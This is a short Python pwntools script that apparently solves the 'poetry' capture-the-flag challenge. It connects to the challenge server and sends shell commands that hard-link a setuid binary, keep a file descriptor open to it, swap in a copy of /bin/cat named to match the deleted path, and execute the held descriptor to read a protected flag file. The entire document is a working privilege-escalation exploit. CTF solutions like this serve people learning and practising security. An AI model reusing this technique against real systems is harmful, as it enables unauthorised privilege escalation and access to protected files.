#!/usr/bin/python

from pwn import *

HOST = "poetry.ctfcompetition.com"
PORT = 1337

def main() :
    conn = remote(HOST, PORT)

    conn.sendline("cd /home/user")
    # make hard link to vulnerable binary
    conn.sendline("ln -f /home/poetry/poetry ./exploit")
    # Save some information (including owner and setuid bit) about vulnerable binary
    conn.sendline("exec 3< ./exploit")
    # replace hard link to cat
    conn.sendline("rm -f exploit")
    conn.sendline("cp /bin/cat './exploit (deleted)'")

    # execute it!
    conn.sendline("exec /proc/$$/fd/3 /home/poetry/flag")

    conn.interactive()

if __name__ == "__main__" :
    main()